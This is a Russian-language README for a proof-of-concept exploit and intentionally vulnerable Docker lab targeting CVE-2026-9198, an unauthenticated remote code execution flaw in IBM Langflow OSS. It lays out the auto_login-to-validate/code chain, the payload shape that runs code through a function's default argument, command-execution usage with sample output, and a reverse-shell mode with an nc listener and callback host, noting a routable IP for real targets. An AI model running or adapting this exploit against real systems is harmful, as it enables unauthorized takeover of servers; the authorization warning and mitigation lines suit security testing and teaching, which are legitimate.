Доказательство концепции эксплуатации для CVE-2026-9198 — неаутентифицированного RCE в IBM Langflow OSS, объединяющего конечные точки auto_login и validate/code. Включает уязвимую Docker-лабораторию для авторизованного тестирования и обучения.
Эксплойт-доказательство концепции и автономная Docker-лаборатория для CVE-2026-9198 — неаутентифицированной уязвимости удалённого выполнения кода в IBM Langflow OSS.
Эксплойт связывает две конечные точки — auto_login (которая выдаёт токен SUPERUSER
кому угодно) и validate/code (которая выполняет предоставленный атакующим Python) — для получения
выполнения кода от имени пользователя службы Langflow, без каких-либо учётных данных.
[!WARNING] Только для авторизованного тестирования безопасности и образовательных целей. Запускайте это исключительно против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Docker лаборатория в этом репозитории намеренно уязвима — держите её на своей машине и никогда не выставляйте её в интернет. Вы несёте ответственность за то, как вы используете этот код.
| CVE | CVE-2026-9198 |
| Продукт | IBM Langflow OSS |
| Затронутые версии | 1.0.0 – 1.10.0 |
| Исправлено в | 1.10.1 |
| CVSS 3.1 | 9.8 Критическая — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — Некорректный контроль генерации кода ('Внедрение кода') |
| CISA KEV | Да — известно об эксплуатации в реальных условиях |
Эксплойт представляет собой цепочку из двух шагов, не требующую аутентификации:
GET /api/v1/auto_loginLangflow поставляется с включённым по умолчанию LANGFLOW_AUTO_LOGIN. Когда он включён,
конечная точка auto_login выдаёт долгоживущий JWT SUPERUSER любому вызывающему, не запрашивая
учётные данные:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/codeНачиная с версии 1.3.0 эта конечная точка требует аутентификации (это было исправлением для
CVE-2025-3248) — но шаг 1 только что выдал нам действительный токен SUPERUSER, поэтому этот барьер
бесполезен. Внутри конечная точка вызывает validate_code(), которая компилирует и выполняет
каждое определение функции, которое получает:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- выполняет def
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- вывод утекает обратно сюда
Выполнение оператора def вычисляет значения его аргументов по умолчанию. Таким образом, функция,
чей аргумент по умолчанию равен exec("..."), выполняет произвольный код в момент
проверки — функция даже никогда не вызывается. Любое возникшее исключение перехватывается и
возвращается в ответе в разделе function.errors, который эксплойт использует для чтения
вывода команды обратно по HTTP.
Форма полезной нагрузки (команда обёрнута в base64, чтобы пережить любое экранирование):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # PoC (выполнение команд + обратная оболочка)
├── docker-compose.yml # уязвимая лаборатория: langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests (pip install -r requirements.txt)docker compose up -d
Langflow требуется минута или две, чтобы стать готовым при первом запуске. Подождите, пока он ответит:
curl -fs http://127.0.0.1:9999/health && echo OK
Служба намеренно привязана к 127.0.0.1:9999 — она недоступна из вашей
сети.
Установите зависимость, затем направьте эксплойт на лабораторию.
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
Пример вывода:
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
Работает любая команда: --cmd "uname -a && whoami && cat /etc/os-release".
Запустите прослушиватель:
nc -lvnp 4444
Затем отправьте полезную нагрузку. Когда цель работает в Docker на той же машине,
контейнер обращается к вашему хосту через host.docker.internal (Docker Desktop); на реальной
цели используйте ваш маршрутизируемый IP:
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
Вы получаете интерактивный /bin/sh на вашем прослушивателе от имени пользователя langflow.
| Флаг | Описание |
|---|---|
--url | Базовый URL цели (обязательно) |
--cmd | Команда для выполнения (по умолчанию id) |
--reverse-shell | Доставить обратную оболочку вместо выполнения --cmd |
--lhost / --lport | Хост и порт обратного вызова оболочки |
--token | Использовать предоставленный bearer-токен и пропустить auto_login |
--timeout | Таймаут на запрос, секунды (по умолчанию 15) |
--insecure | Пропустить проверку TLS (для целей https) |
LANGFLOW_AUTO_LOGIN=false,
и установите реальные учётные данные суперпользователя.validate/code, на котором это основано)